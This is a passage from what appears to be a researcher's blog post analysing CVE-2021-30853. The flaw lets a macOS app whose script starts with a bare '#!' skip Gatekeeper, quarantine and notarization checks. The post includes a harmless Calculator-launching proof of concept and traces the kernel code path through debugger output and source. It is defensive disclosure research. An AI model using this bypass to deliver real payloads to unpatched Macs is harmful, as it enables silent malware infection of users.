I’ve uploaded a sample Proof of Concept
When run (on macOS 11 - 11.5), though unsigned and non-notarized it is allowed to execute and pops Calculator.app
In macOS 12 beta 6 (and also then in macOS 11.6), Apple patched an intriguing bug as CVE-2021-30853
:
Discovered and reported by Gordon Long (@ethicalhax), Apple noted that via this flaw “a malicious application may bypass Gatekeeper checks”. Such bugs are often particularly impactful to everyday macOS users as they provide a means for adware & malware authors to sidestep macOS security mechanisms, …mechanisms that otherwise would thwart infection attempts!
As we’ll see, the bug patched as CVE-2021-30853
bypasses not just Gatekeeper, but also File Quarantine, and macOS’s recent notarization requirements.
For more details on the macOS security mechanisms File Quarantine, Gatekeeper, and notarization requirements, see my previous blog post, “All Your Macs Are Belong To Us.”
…this means a single double-click of what appears to be an innocuous file (like my “resume”), can lead to the full compromise of a macOS system:
Yikes! ๐ฑ
Early this year, I published, “All Your Macs Are Belong To Us” that detailed CVE-2021-30657. This bug, discovered by Cedric Owens, also allowed “a malicious application [to] bypass Gatekeeper checks” (which I determined was due to flaw in Apple’s user-mode system policy daemon).
Though both CVE-2021-30657 and CVE-2021-30853 have the same impact, and upon initial triage seem closely related, a detailed analysis reveals that the bug we’re discussing today (CVE-2021-30853), is due to a completely separate flaw (found within the kernel).
Let’s now dive deeper in CVE-2021-30657
, discussing:
The components of simple PoC that trigger the flaw
How application launches are handled on macOS, specifically focusing on the code paths triggered by the PoC.
How such code paths later undermine logic in the Apple System Policy kernel extension which leads to a full File Quarantine, Gatekeeper, and Notarization bypass.
The proof of concept that exploits CVE-2021-30657
is an unsigned, non-notarized application.
When downloaded from the Internet it is, as expected, quarantined:
% xattr ~/Downloads/PoC.app com.apple.FinderInfo com.apple.metadata:kMDItemWhereFroms com.apple.quarantine
Normally quarantined items should trigger File Quarantine, Gatekeeper, and notarization checks …and if the item is unsigned (and thus unnotarized), should be blocked:
It should be noted that to trigger exploitation, a user would have to be tricked (or coerced) into running the application. Though this may seem somewhat of a high bar to overcome, hackers have proven time and time again that macOS users can be, rather trivially, tricked into doing so:
…moreover as shown in the demo above, the application can masquerade as harmless PDF, perhaps sent via email, or other distribution channels.
As noted early, File Quarantine, Gatekeeper, or macOS’ notarization requirements were designed to specifically prevent any unsigned and non-notarized application from running, even when launched by the user. However due to the flaw exploited by CVE-2021-30657
these checks are not performed.
Taking a closer look at the PoC application reveals its main executable component appears to be is a script:
% cat ~/Downloads/PoC.app/Contents/MacOS/PoC #! open /System/Applications/Calculator.app &
The astute reader may have noticed that though the script started with the familiar #!
(“Shebang”), it is missing an interpreter such as /bin/bash
. However when launched, macOS seems to handle this without issue, and still executed the script.
Specifically, as shown below, in the output of a process monitor, when launched you can first see launchd
exec’ing xpcproxy
. This then executes /bin/sh
, which in turn executes /bin/bash
to execute the PoC (which has been translocated, as its from the Internet):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_FORK", "process" : { "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/sbin/launchd", "name" : "launchd", "pid" : 46112 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "xpcproxy", "application.?.123943909.123943920" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/usr/libexec/xpcproxy", "name" : "xpcproxy", "pid" : 46112 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "sh", "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/bin/sh", "name" : "sh", "pid" : 46112 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "sh", "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/bin/bash", "name" : "bash", "pid" : 46112 } }
Though the process monitor output confirms that macOS will execute the “interpreter-less” script via bash
, that fact that no interpreter was specified is ultimately what triggers a (rather nuanced) bug in the kernel. A bug, that allows the PoC to execute without being subjected to File Quarantine, Gatekeeper, nor notarization checks! ๐ฑ
When our proof of concept is launched, though it is from the Internet (read: quarantined) and both unsigned and non-notarized, macOS allows it to launch! It is not blocked, nor are any alerts displayed. Why are File Quarantine, Gatekeeper, and macOS’s recent notarization requirements all fully bypassed?! ๐ค …let’s find out!
To uncover the root cause of this flaw let’s start by exploring how processes (well, applications) are launched on macOS, focusing on the code paths triggered by this PoC.
On macOS, launching an application is a surprisingly complex process. In a 2016 talk at ShmooCon titled, “Gatekeeper Exposed; Come, See, Conquer”, I provided a detailed (although now somewhat dated) walk-through of these interactions:
Since this talk, Apple has expanded (read: complicated) this process, adding XPC calls into its system policy daemon, syspolicyd
, and its XProtect (anti-virus) agent, XprotectService
.
As part of this complex application launching process, the system (is supposed to) ensure that any application downloaded from the Internet is blocked unless it is signed and notarized:
…and even when an application is both signed and notarized, an alert should still shown to the user, informing them that they are launching executable content from the (untrusted) Internet.
As the PoC is allowed to run uninhibited, clearly there was a flaw in macOS …somewhere within the logic that handles the launching of applications.
Unfortunately due to both the complexity and many component involved in this process, determining which component (daemon, framework, or even kernel extension) is responsible for this bug, is not a trivial exercise.
As noted above, the (what appeared to be) similar CVE-2021-30657
(detailed in my lengthy blog post, “All Your Macs Are Belong To Us”), was ultimately due to a flaw in Apple’s user-mode system policy daemon, syspolicyd
. I was able to uncover the fact that syspolicyd
was the problematic component for that bug, largely due to messages displayed in Apple’s logging subsystem:
If syspolicyd is not invoked (for whatever reason), the application will not be evaluated, and thus will simply be allowed to run!
Due to similarities with CVE-2021-30657
, specifically the fact that a script-based application could bypass of Gatekeeper (et. al.), it seemed reasonable first turn to the log message of syspolicyd
.
Via the log
command I instructed macOS to stream all syspolicyd
’s’ log messages. Then I launched the proof of concept application that triggers CVE-2021-30853
.
…but nothing was shown?! ๐ง
% log stream --level debug --predicate="processImagePath contains[c] 'syspolicyd'" ^C
This was especially strange considering that syspolicyd
should always display some log messages, as it is largely the arbiter in determining if an application should be allowed to run. For example, we should at least see a message such as (as was the case for the PoC that exploited the previous bug, CVE-2021-30657
):
syspolicyd: [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, /bin/sh
After (triple) checking my log
predicate (as well as also just streaming all log messages), it seemed only reasonable to assume that syspolicyd
was not displaying any log messages as it was not being called upon to scan (analyze) the PoC application.
Of course this was initially just an assumption …and I really had no idea why this would be the case. However if true, it would explain both why no log message where shown, and more importantly, why the untrusted PoC was allowed. (Note that syspolicyd
is responsible for evaluating launched applications, and blocking ones it deems untrusted …as well as alerting the user to this fact via an XPC call to CoreServicesUIAgent
. If it is not invoked, the application will not be evaluated, and thus will simply be allowed to run!).
As I did not know why syspolicyd
was not invoked (nor even who was responsible for invoking it) I decided to bite the bullet and start (near) the beginning of the complex application launch logic with the (conceptually) simple goal of figuring out why syspolicyd
was not invoked to scan the proof of concept, thus allowing it to execute uninhibited.
On macOS, launchd
is the daemon responsible to launching (all?) processes. Though Apple decided to close-source it, the source code of older versions, such as version 842.92.1
are still available (via opensource.apple.com). Perusing that code we can see it executes /usr/libexec/xpcproxy
to handle the launch of applications, such as our PoC. This matches what we saw in the output from the process monitor, when we launched the PoC application:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_FORK", "process" : { "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/sbin/launchd", "name" : "launchd", "pid" : 46112 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "xpcproxy", "application.?.123943909.123943920" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/usr/libexec/xpcproxy", "name" : "xpcproxy", "pid" : 46112 } }
The xpcproxy
process then executes the PoC, as was also shown in the process monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "xpcproxy", "application.?.123943909.123943920" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/usr/libexec/xpcproxy", "name" : "xpcproxy", "pid" : 46112 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "sh", "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 46112, "path" : "/bin/sh", "name" : "sh", "pid" : 46112 } }
Let’s figure out exactly how xpcproxy
it delegating continued execution to launch the application.
Hopping into a debugger we can attach to xpcproxy
when it’s spawned by launchd
(via the --waitfor
command):
% lldb (lldb) process attach --name xpcproxy --waitfor Process 46291 stopped * thread #1, name = 'application.?.123943909.123943920', queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
Once attached, we then place a breakpoint on the posix_spawnp
API, as this is the API invoked by xpcproxy
to spawn our PoC application:
% lldb ... (lldb) b posix_spawnp Breakpoint 1: where = libsystem_c.dylib`posix_spawnp, address = 0x00007fff20374f00
Once this breakpoint is hit, we can print out the parameters of posix_spawnp
to confirm that yes indeed that our (translocated) PoC.app
is about to be spawned:
% lldb ... Process 46291 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00007fff20374f00 libsystem_c.dylib`posix_spawnp libsystem_c.dylib`posix_spawnp: -> 0x7fff20374f00 <+0>: pushq %rbp 0x7fff20374f01 <+1>: movq %rsp, %rbp 0x7fff20374f04 <+4>: pushq %r15 0x7fff20374f06 <+6>: pushq %r14 Target 0: (xpcproxy) stopped. (lldb) x/s $rsi 0x7faea7406009: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
Once again the astute reader may be wondering why posix_spawnp
versus the more familiar posix_spawn
was being invoked by xpcproxy
. And that is a excellent question, as it is directly relevant to the bug we’re tracking down.
The man page for posix_spawn/posix_spawnp explain the difference between the two noting:
“The posix_spawnp() function is identical to the posix_spawn() function if the file specified contains a slash character; otherwise, the file parameter is used to construct a pathname, with its path prefix being obtained by a search of the path specified in the environment by the ``PATH variable’’.”
If we look at a stacktrace (bt
in the debugger), we find the code in xpcproxy
responsible for the call to posix_spawnp
:
10x00000001050d0095 bt dword [r15+0xb4], 0xd
20x00000001050d009e jb loc_1050d00a9
3
40x00000001050d00a0 mov rbx, qword [posix_spawn]
50x00000001050d00a7 jmp loc_1050d00b0
6
7
8loc_1050d00a9:
90x00000001050d00a9 mov rbx, qword [posix_spawnp]
10
11...
120x00000001050d00f6 call rbx ;either posix_spawn or posix_spawnp
Interestingly, based on a bit value at offset 0xb4
of some structure (found in the r15
register), xpcproxy
will either invoke the more familiar posix_spawn
API, or the posix_spawnp
API.
Let’s examine the bit value at this offset (r15+0xb4
):
% lldb ... (lldb) reg read $r15 r15 = 0x00007faea7405f50 (lldb) x/t 0x00007faea7405f50+0xb4 0x7faea7406004: 0b0010000000000001
…as the bit at 0xd
is set (to 0x1
) the jb
instruction is taken, and thus the instruction at 0x00000001050d00a9
is executed meaning the rbx
register is set to posix_spawnp
.
Continued analysis seemed to indicate that bit is known as the “inferred program” flag, set by launchd
(and viewable via launchctl procinfo <pid>
). Interestingly on macOS 10.* (which is not vulnerable), this flag is not set and thus posix_spawnp
is not called (which as we’ll see does not trigger the flaw):
% launchctl procinfo <pid of PoC>
10.15:
...
system support = 0
app-like = 0
inferred program = 0
11:
...
system support = 0
inferred program = 1
joins gui session = 0
So, as the (on macOS 11.*), the inferred program
flag is set, posix_spawnp
(instead of posix_spawn
) is invoked.
As source code for posix_spawnp
is available, it’s easy to understand what exactly it does.
After constructing a path name (as described in its man page), it then invokes posix_spawn
:
1/*
2 * posix_spawnp
3 *
4 * Description: Create a new process from the process image corresponding to
5 * the supplied 'file' argument and the parent processes path
6 * environment.
7 ...
8 */
9
10 int
11posix_spawnp(pid_t * __restrict pid, const char * __restrict file,
12 const posix_spawn_file_actions_t *file_actions,
13 const posix_spawnattr_t * __restrict attrp,
14 char *const argv[ __restrict], char *const envp[ __restrict])
15{
16 int err = 0;
17 ...
18
19 err = posix_spawn(pid, bp, file_actions, attrp, argv, envp);
Continuing to peruse the source of the posix_spawnp
function, we see it then examines the value returned by the call to posix_spawn
. Interestingly (and very relevant to the bug we’re analyzing today), if an ENOEXEC
was returned, meaning the application failed to execute, it will call posix_spawn
again. This time however, the the process path is hard-coded to the value of _PATH_BSHELL
(which is "/bin/sh"
), while the original item’s path is moved into the second argument:
1case ENOEXEC:
2 ...
3
4 memp[0] = "sh";
5 memp[1] = bp;
6 bcopy(argv + 1, memp + 2, cnt * sizeof(char *));
7 err = posix_spawn(pid, _PATH_BSHELL, file_actions, attrp, memp, envp);
8
…in other words macOS will (re)attempt to execute the failed item via the shell ("/bin/sh"
):
In a debugger, we can confirm that our “interpreter-less” script-based application causes the primary call to posix_spawn
to fail, and thus triggers the ENOEXEC
logic. Thus the second call to posix_spawn
will be executed, meaning the PoC is launched via the shell ("/bin/sh"
):
% lldb (lldb) process attach --name xpcproxy --waitfor ... Executable mode set to "/usr/libexec/xpcproxy" (lldb) b posix_spawn Breakpoint 1: where = libsystem_kernel.dylib`posix_spawn, address = 0x00007fff2045f6d1 (lldb) c Process 47099 resuming Process 47099 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00007fff2045f6d1 libsystem_kernel.dylib`posix_spawn libsystem_kernel.dylib`posix_spawn: -> 0x7fff2045f6d1 <+0>: pushq %rbp (lldb) x/s $rsi 0x7ff619d043b9: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC" (lldb) finish Process 47099 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = step out frame #0: 0x00007fff203750b1 libsystem_c.dylib`posix_spawnp + 433 libsystem_c.dylib`posix_spawnp: -> 0x7fff203750b1 <+433>: movl %eax, %r12d (lldb) reg read $rax rax = 0x0000000000000008 (lldb) c Process 47099 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00007fff2045f6d1 libsystem_kernel.dylib`posix_spawn libsystem_kernel.dylib`posix_spawn: -> 0x7fff2045f6d1 <+0>: pushq %rbp (lldb) x/s $rsi 0x7fff203e8c26: "/bin/sh" (lldb) x/4gx $r8 0x7ffeee06e2b0: 0x00007fff203ead50 0x00007ff619d043b9 0x7ffeee06e2c0: 0x0000000000000000 0x00007fff20375178 (lldb) x/s 0x00007fff203ead50 0x7fff203ead50: "sh" (lldb) x/s 0x00007ff619d043b9 0x7ff619d043b9: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
That’s rather a lot of debug output, so let’s walk thru it. First we tell the debugger to wait and attach to xpcproxy
. After launching the PoC application, an instance of xpcproxy
is launched, which the debugger catches, and halts.
We then set a breakpoint on the posix_spawn
API (that recall is invoked by the posix_spawnp
API). Once hit, we print out the path of the program it’s about to spawn. As this is the 2nd argument to posix_spawn
, it’s found in the RSI
register. Unsurprisingly it’s the (translocated) path to the PoC application’s executable component PoC.app/Contents/MacOS/PoC
.
If we allow the call to posix_spawn
to complete (via the finish
debugger command), we see that the called failed. Specifically the RAX
register (which holds the return value from a function call), is set to 0x8
, which maps to ENOEXEC
. In other words, macOS failed to executed the PoC application. (We’ll show exactly why soon, but essentially because no interpreter is specified on the first line of the PoC’s script).
Then, in the debugger output we see the breakpoint on posix_spawn
is hit again. If we examine the arguments passed to this second call we see the path has been set to "/bin/sh"
, and if we examine the arguments (pointed to by the 5th argument, the R8
register), we find that argv[0]
has been set to the string "sh"
, while argv[1]
has been set to the PoC’s executable component.
This of course matches exactly what we saw in the output of the process monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "arguments" : [ "sh", "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC" ], "ppid" : 1, "ancestors" : [ 1 ], "rpid" : 47099, "path" : "/bin/sh", "name" : "sh", "pid" : 47099 } }
As the PoC’s interpreter-less script, after failing the first time, was then executed directly via /bin/sh
it succeeds. But at what cost!?
If we forget for a moment about File Quarantine, Gatekeeper, and notarization checks, everybody is happy. That is to say, macOS was “smart” enough to handle the case whereas a interpreter-less script was executed. So it’s feeling pretty swell.
Unfortunately this logic causes a subtle corner case, which in the context of File Quarantine, Gatekeeper, and Notarization checks, is massively problematic …as in all these checks are ultimately skipped! ๐
But to understand why, we need to follow the posix_spawn
call into the kernel to understand exactly why the first call failed (with ENOEXEC
) and more importantly the implications of this.
As portions of the macOS kernel (XNU) are still open-source, we can follow the posix_spawn
call into the kernel fairly trivially.
Ultimately we end up at a call to the exec_activate_image
function:
1/*
2 * posix_spawn
3 *
4 * Parameters: uap->pid Pointer to pid return area
5 * uap->fname File name to exec
6 * uap->argp Argument list
7 * uap->envp Environment list
8 *
9 * Returns: 0 Success
10 * EINVAL Invalid argument
11 * ENOTSUP Not supported
12 * ENOEXEC Executable file format error
13 ...
14*/
15
16int
17posix_spawn(proc_t ap, struct posix_spawn_args *uap, int32_t *retval)
18{
19
20 ...
21 /*
22 * Activate the image
23 */
24 error = exec_activate_image(imgp);
25
26 ...
After setting up kernel debugging session, and setting a breakpoint on the exec_activate_image
, we can examine a stack backtrace to confirm indeed it’s invoked by the kernel mode posix_spawn
function:
(lldb) kdp-remote 192.168.86.28 Version: Darwin Kernel Version 20.6.0: Wed Jun 23 00:26:31 PDT 2021; root:xnu-7195.141.2~5/RELEASE_X86_64; UUID=FECBF22B-FBBE-36DE-9664-F12A7DD41D3D; stext=0xffffff801ae10000 ... (lldb) bt frame #0: 0xffffff800580eefd kernel`exec_activate_image(imgp=0xffffff9341d15800) at kern_exec.c:2065:11 frame #1: 0xffffff800580d971 kernel`posix_spawn(ap=<unavailable>, uap=<unavailable>, retval=0xffffff86781aecc0) at kern_exec.c:3937:10 frame #2: 0xffffff800594001e kernel`unix_syscall64(state=0xffffff868751c620) at systemcalls.c:412:10 [opt] frame #3: 0xffffff80052331f6 kernel`hndl_unix_scall64 + 22
The exec_activate_image
function, found within the kern_exec.c
file will iterate thru a hard-coded table of “image activators” name execsw
. Such “activators” are simply functions that implement the loading logic for various (supported) file types such as Mach-O binaries and scripts:
1/*
2 * Our image activator table; this is the table of the image types we are
3 * capable of loading. We list them in order of preference to ensure the
4 * fastest image load speed.
5 *
6 * XXX hardcoded, for now; should use linker sets
7 */
8struct execsw {
9 int(*const ex_imgact)(struct image_params *);
10 const char *ex_name;
11} const execsw[] = {
12 { exec_mach_imgact, "Mach-o Binary" },
13 { exec_fat_imgact, "Fat Binary" },
14 { exec_shell_imgact, "Interpreter Script" },
15 { NULL, NULL}
16};
17
18
19static int
20exec_activate_image(struct image_params *imgp)
21{
22
23 ...
24
25 for (i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {
26 error = (*execsw[i].ex_imgact)(imgp);
27
28 ...
It should be pointed out that activator is called in turn, until one “claims” the image. This means that even for a script, the Mach-O activator will be invoked (as it at index zero of the execsw
array).
Let’s take peek at the activator functions, starting with the first one exec_mach_imgact
, that handles Mach-O files:
1/*
2 * exec_mach_imgact
3 *
4 * Image activator for mach-o 1.0 binaries.
5 *
6 * Parameters; struct image_params * image parameter block
7 *
8 ...
9 */
10static int
11exec_mach_imgact(struct image_params *imgp)
12{
13 ...
14 struct mach_header *mach_header = (struct mach_header *)imgp->ip_vdata;
15
16 /*
17 * make sure it's a Mach-O 1.0 or Mach-O 2.0 binary; the difference
18 * is a reserved field on the end, so for the most part, we can
19 * treat them as if they were identical. Reverse-endian Mach-O
20 * binaries are recognized but not compatible.
21 */
22 if ((mach_header->magic == MH_CIGAM) ||
23 (mach_header->magic == MH_CIGAM_64)) {
24 error = EBADARCH;
25 goto bad;
26 }
27
28 ...
29}
In the context of this blog post and discussion, we simply note that it (first) checks if the item to be executed is a mach-O binary. In the case of our PoC (which recall is really a script-based application, not a mach-O binary), the exec_mach_imgact
will simply bail out early, as it correctly determined the PoC’s script, is not a mach-O binary.
The second image activator, exec_fat_imgact
will also bail with an error, as the PoC’s script, is also not a fat (universal) binary.
Finally we get to the image activator for scripts: exec_shell_imgact
. Before we dive in recall two things
#!
posix_spawn
failed with ENOEXEC
Ok, now take a look at the exec_shell_imgact
function:
1/*
2 * exec_shell_imgact
3 *
4 * Image activator for interpreter scripts. If the image begins with
5 * the characters "#!", then it is an interpreter script. Verify the
6 * length of the script line indicating the interpreter is not in
7 * excess of the maximum allowed size. If this is the case, then
8 * break out the arguments, if any, which are separated by white
9 * space, and copy them into the argument save area as if they were
10 * provided on the command line before all other arguments. The line
11 * ends when we encounter a comment character ('#') or newline.
12 *
13 * Parameters; struct image_params * image parameter block
14 *
15 * Returns: -1 not an interpreter (keep looking)
16 * -3 Success: interpreter: relookup
17 * >0 Failure: interpreter: error number
18 *
19 * A return value other than -1 indicates subsequent image activators should
20 * not be given the opportunity to attempt to activate the image.
21 */
22static int
23exec_shell_imgact(struct image_params *imgp)
24
25
26/*
27 * Make sure it's a shell script. If we've already redirected
28 * from an interpreted file once, don't do it again.
29 */
30 if (vdata[0] != '#' ||
31 vdata[1] != '!' ||
32 (imgp->ip_flags & IMGPF_INTERPRET) != 0) {
33 return -1;
34 }
35
36 ...
37 /* Try to find the first non-whitespace character */
38 for (ihp = &vdata[2]; ihp < &vdata[IMG_SHSIZE]; ihp++) {
39 if (IS_EOL(*ihp)) {
40 /* Did not find interpreter, "#!\n" */
41 return ENOEXEC;
42 } else if (IS_WHITESPACE(*ihp)) {
43 /* Whitespace, like "#! /bin/sh\n", keep going. */
44 } else {
45 /* Found start of interpreter */
46 break;
47 }
48 }
49
50 ...
51
52 return -3;
53}
As the comments note, the function is the “Image activator for interpreter scripts” and that “If the image begins with the characters “#!”, then it is an interpreter script.” The remaining comments discuss validation of the specified interpreter, and notes, “the [interpreter] line ends when we encounter a comment character (’#’) or newline”.
Looking at the source code, we can see this is the case. Indeed it first checks the script begins with #!
(which the PoC’s script does). So far so good.
Then it attempts to find the script’s interpreter by parsing the rest of the first line. First, the IS_EOL
macro is invoked on each remaining character on the first line. It is define as: IS_EOL(ch) ((ch == '#') || (ch == '\n'))
. Thus, a script that starts with only #!
(or !#\n
) will cause IS_EOL
to return true, and as the comment note means “Did not find interpreter” …and ENOEXEC
is returned.
Now we know exactly why the first call to posix_spawn
fails on the PoC’s interpreter-less script (#!
), and why ENOEXEC
was returned first by exec_shell_imgact
and then all the way back to user-mode (which recall then triggered the second call to posix_spawn
to execute the script directly via /bin/sh
).
And if a valid script was specified? Well the exec_shell_imgact
function, as shown above returns the value of -3
(which as the comments note, means, “Success: interpreter: relookup”).
Back in the exec_activate_image
(the caller of the exec_shell_imgact
), we see that return value of all activators are checked, including -3
(for valid scripts):
1for (i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {
2 error = (*execsw[i].ex_imgact)(imgp);
3
4 switch (error) {
5
6 /* case -1: not claimed: continue */
7
8 case -2:
9 goto encapsulated_binary;
10
11 /* Interpreter */
12 case -3:
This makes sense. The code in exec_activate_image
wants to know if the image activator was successful. For example did exec_shell_imgact
determine the script was valid? …and thus loaded and activated, so that (final) process execution can commence.
However (again assuming the image activation succeeded), before this (final) process execution commences, other image-specific code is executed.
For example for case -3, (returned by exec_shell_imgact
for a valid script) we find the following:
1 case -3: /* Interpreter */
2 #if CONFIG_MACF
3 /*
4 * Copy the script label for later use. Note that
5 * the label can be different when the script is
6 * actually read by the interpreter.
7 */
8 if (imgp->ip_scriptlabelp) {
9 mac_vnode_label_free(imgp->ip_scriptlabelp);
10 }
11 imgp->ip_scriptlabelp = mac_vnode_label_alloc();
12 if (imgp->ip_scriptlabelp == NULL) {
13 error = ENOMEM;
14 break;
15 }
16 mac_vnode_label_copy(imgp->ip_vp->v_label,
17 imgp->ip_scriptlabelp);
18
19 /*
20 * Take a ref of the script vnode for later use.
21 */
22 if (imgp->ip_scriptvp) {
23 vnode_put(imgp->ip_scriptvp);
24 imgp->ip_scriptvp = NULLVP;
25 }
26 if (vnode_getwithref(imgp->ip_vp) == 0) {
27 imgp->ip_scriptvp = imgp->ip_vp;
28 }
29 #endif
30
31 nameidone(ndp);
32
33 vnode_put(imgp->ip_vp);
34 imgp->ip_vp = NULL; /* already put */
35 imgp->ip_ndp = NULL; /* already nameidone */
36
37 ...
Specifically values in the image’s image_params
structure, here named imgp
, are set, such as:
imgp->ip_scriptvp
imgp->ip_scriptlabelp
The latter, ip_scriptlabelp
is set to the value of structure allocated via a call to mac_vnode_label_alloc
, and then populated via a call to mac_vnode_label_copy
.
In Apple’s sys/imgact.h
header file, we find succinct descriptions for each:
struct image_params {
...
struct label *ip_scriptlabelp; /* label of the script */
struct vnode *ip_scriptvp; /* script */
The astute reader (which is likely you, if you made it this far), may have noticed that the code that sets these members of the image_params
struct is wrapped in an #if CONFIG_MACF
. This is notable since MACF
is the technology leveraged by macOS to enforce many security checks! Thus in the context of allowing, or equally important disallowing (untrusted) scripts, this code seems particularly relevant.
Such readers may also be wondering what happens to these members of the image_params
struct if the exec_shell_imgact
function fails …for example when it encounters the PoC’s interpreter-less script? Well as the code that sets these structure members is never executed they remain unset.
We can confirm this by dumping the image_params
structure for our PoC, after the exec_activate_image
(and exec_shell_imgact
function) has returned:
(lldb) expr *(struct image_params*)0xffffff935702b000 (struct image_params) $1 = { ... ip_vdata = 0xffffffa054104000 "#!\n\nopen /System/Applications/Calculator.app &\n" ... ip_strings = 0xffffffa054003000 "executable_path="/private/var/folders/pw/.../AppTranslocation/ .../PoC.app/Contents/MacOS/PoC"" ... ip_scriptlabelp = 0x0000000000000000 ip_scriptvp = 0x0000000000000000 }
Note that in the debugger output, the ip_vdata
member of the structure is set the script’s contents, while the ip_strings
member to the (translocated) path. Most importantly, though ip_scriptlabelp
and ip_scriptvp
remain NULL, unset, as the exec_shell_imgact
function returned ENOEXEC
(since the PoC script didn’t specify an interpreter).
Note that for a normal script-based application (that specifies an interpreter):
the ip_startargv
member of the image_params
structure will be updated with the path to the interpreter (e.g. /bin/bash
)
the ip_scriptlabelp
and ip_scriptvp
members will be set (i.e. will be non-NULL).
We can confirm this by executing a normal script-based application (whose script does specify a interpreter), and dumping it’s image_params
structure:
(lldb) kdp-remote 192.168.86.28 Version: Darwin Kernel Version 20.6.0: Wed Jun 23 00:26:31 PDT 2021; root:xnu-7195.141.2~5/RELEASE_X86_64; UUID=FECBF22B-FBBE-36DE-9664-F12A7DD41D3D; stext=0xffffff801ae10000 ... Target 0: (kernel) stopped. (lldb) expr *(image_params*)0xffffff934acda800 (image_params) $1 = { ip_startargv = 0xffffffa04af89020 "/bin/bash" ip_scriptlabelp = 0xffffff868a69ffc0 ip_scriptvp = 0xffffff867fae3f00 }
Of course the question now is, “how are these structure members utilized”? Continued code analysis and (kernel) debugging reveals they are passed to the kauth_proc_label_update_execve
API. This is shown below (from kern_exec.c
):
1kauth_proc_label_update_execve(p,
2 imgp->ip_vfs_context,
3 imgp->ip_vp,
4 imgp->ip_arch_offset,
5 imgp->ip_scriptvp,
6 imgp->ip_scriptlabelp,
7 ...);
Debugging this kernel logic when a normal script-based application (that specifies an interpreter) is executed confirms this:
(lldb) b kauth_proc_label_update_execve Breakpoint 1: where = kernel`kauth_proc_label_update_execve + 43 at kern_credential.c:4554:15, address = 0xffffff8015de95cb (lldb) c Process 1 resuming Process 1 stopped * thread #3, name = '0xffffff868e4f2000', queue = '0x0', stop reason = breakpoint 1.1 frame #0: 0xffffff8015de95cb kernel`kauth_proc_label_update_execve(p=0xffffff868e84e300, ctx=0xffffffb06060bd90, vp=0xffffff86890c9800, offset=16384, scriptvp=0xffffff867fae3f00, scriptl=0xffffff868a69ffc0, ...) at kern_credential.c:4554:15
In the debugger output, note that the kauth_proc_label_update_execve
is invoked with the values from imgp->ip_scriptvp
(named scriptvp
) and imgp->ip_scriptlabelp
(named scriptl
).
Once the kauth_proc_label_update_execve
returns, we can (re)examine the proc
structure and confirm that (for a script-based application that specifies an interpreter) the p_ucred
member (of type ucred
) has been updated. If we then dump the updated p_ucred
structure, we see that the value of its cr_label
member has been set to a MAC label that contains a pointer to the normal script:
//p_ucred = 0xffffff8691ef8130` (lldb) expr * (struct ucred*)0xffffff8691ef8130 ... cr_label = 0xffffff868e7d7640 } (lldb) expr *(struct label*)0xffffff868e7d7640 (struct label) $9 = { l_flags = 1 l_perpolicy = { [0] = (l_ptr = 0xffffff86887e3188, l_long = -521696038520) [1] = (l_ptr = 0x0000000000000000, l_long = 0) [2] = (l_ptr = 0xffffff93526ea700, l_long = -466768451840) [3] = (l_ptr = 0xffffff93529fe800, l_long = -466765223936) ... (lldb) x/s 0xffffff93529fe800 0xffffff93529fe800: "/Users/user/Desktop/Script.app/Contents/MacOS/Script"
We’ll see shortly how code elsewhere in the kernel will inspect this cr_label
(specifically the value index 0x3
) in order to determine if the process is a script.
In the case of our problematic PoC, the system detects the interpreter is missing and thus leaves ip_scriptlabelp
and ip_scriptvp
NULL. This also means that the cr_label
structure for that process object (representing the PoC) will not contain the path to the script.
Now this initially appears not to be an issue as we’re bailing out of the kernel anyways with a ENOEXEC
, since the exec_shell_imgact
correctly determined that the script was interpreter-less.
…but recall posix_spawnp
doesn’t give up that easily and turns around and (re)invokes posix_spawn
again, but this time not with a script, but rather /bin/sh
, a trusted, Apple-signed platform Mach-O binary. Since sh
is a mach-O binary exec_activate_image
calls the mach-O activator, exec_mach_imgact
. As sh
